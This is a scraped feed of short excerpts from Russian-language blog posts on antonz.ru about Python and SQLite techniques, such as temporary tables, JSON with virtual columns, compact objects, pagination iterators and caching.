Беда в том, что чем сложнее код, тем чаще сбоит «описательный» подход.

6 месяцев назад @ antonz.ru
Случайные числа и последовательности в Python
Случайные числа и последовательности в Python Случайные числа и последовательности в Python

Там намного больше, чем просто randint()

6 месяцев, 1 неделя назад @ antonz.ru
Временные таблицы в SQLite
Временные таблицы в SQLite Временные таблицы в SQLite

Временные таблицы в SQLiteБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать.

Представление работает как CTE, но к нему можно обращаться как к обычной таблице и не повторять каждый раз подзапрос.

Как и CTE, представление тоже вычисляется на лету.

-- 1) create once create temp table combined_temp as select v . * , e . name , a . name from vacancy as v join employer as e on e . id = v . employer_id join area as a on a . id = v . area_id ; -- 2) use everywhere select ... from combined_temp where ... group by ... order by ...Технически, SQLite хранит временные таблицы в специальной temp -базе.

Она лежит в отдельном файле на диске и видна только тому соединени…

6 месяцев, 2 недели назад @ antonz.ru
JSON и виртуальные столбцы в SQLite
JSON и виртуальные столбцы в SQLite JSON и виртуальные столбцы в SQLite

У вычисляемых столбцов есть еще одно чрезвычайно полезное применение.

Допустим, вы решили вести журнал событий, которые происходят в системе.

События бывают разных типов, у каждого свой набор полей.

Например, вход в систему:Или пополнение счета:Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON.

Заводите таблицу events с единственным полем value :И выбираете события по конкретному объекту:

6 месяцев, 2 недели назад @ antonz.ru
Компактные объекты в Python
Компактные объекты в Python Компактные объекты в Python

Питон — объектный язык.

Это здорово и удобно, пока не придется создать 10 млн объектов в памяти, которые благополучно ее и съедят.

Поговорим о том, как уменьшить аппетит.

Допустим, есть у вас простенький объект «питомец» с атрибутами «имя» (строка) и «стоимость» (целое).

Интуитивно кажется, что самое компактное предоставление — в виде кортежа:Замерим, сколько займет в памяти один такой красавчик:

6 месяцев, 3 недели назад @ antonz.ru
Новости стандартной библиотеки Python
Новости стандартной библиотеки Python Новости стандартной библиотеки Python

17 модулей с новыми фичами и доработками.

6 месяцев, 3 недели назад @ antonz.ru
Вычисляемые столбцы в SQLite
Вычисляемые столбцы в SQLite Вычисляемые столбцы в SQLite

Чтобы не повторять сложные выражения в каждом запросе.

6 месяцев, 3 недели назад @ antonz.ru
Постраничный итератор в Python
Постраничный итератор в Python Постраничный итератор в Python

Тут и пригодится постраничный итератор!

Будем продолжать, пока исходная последовательность не закончится:def paginate ( iterable , page_size ): page = [] for item in iterable : page .

append ( item ) if len ( page ) == page_size : yield page page = [] yield pagereader = fetch_toys () page_size = 10_000 for page in paginate ( reader , page_size ) process_batch ( page )Реализация рабочая, но есть проблемка.

А вот практически — да, если перенести как можно больше действий из кода на питоне в библиотечный код на си.

Чтобы не писать такой обход каждый раз с нуля, удобно использовать универсальный постраничный итератор.

7 месяцев назад @ antonz.ru
Многострочные запросы в консоли SQLite
Многострочные запросы в консоли SQLite Многострочные запросы в консоли SQLite

Как отредактировать большой запрос за один раз

7 месяцев, 1 неделя назад @ antonz.ru
Закешировать результат вычислений в Python
Закешировать результат вычислений в Python Закешировать результат вычислений в Python

Предположим, написали вы функцию, которая возвращает емейл пользователя:Одна беда: функция find_by_id() лезет в уж-ж-жасно медленную легаси-систему:Если 100 раз вызвать get_user_email(42) — будет 100 медленных запросов.

Хотя по уму хватило бы и одного.

Что ж, давайте приделаем простенький кеш:

7 месяцев, 2 недели назад @ antonz.ru
История команд SQLite
История команд SQLite История команд SQLite

Помогает найти запрос, чтобы не вводить заново.

7 месяцев, 2 недели назад @ antonz.ru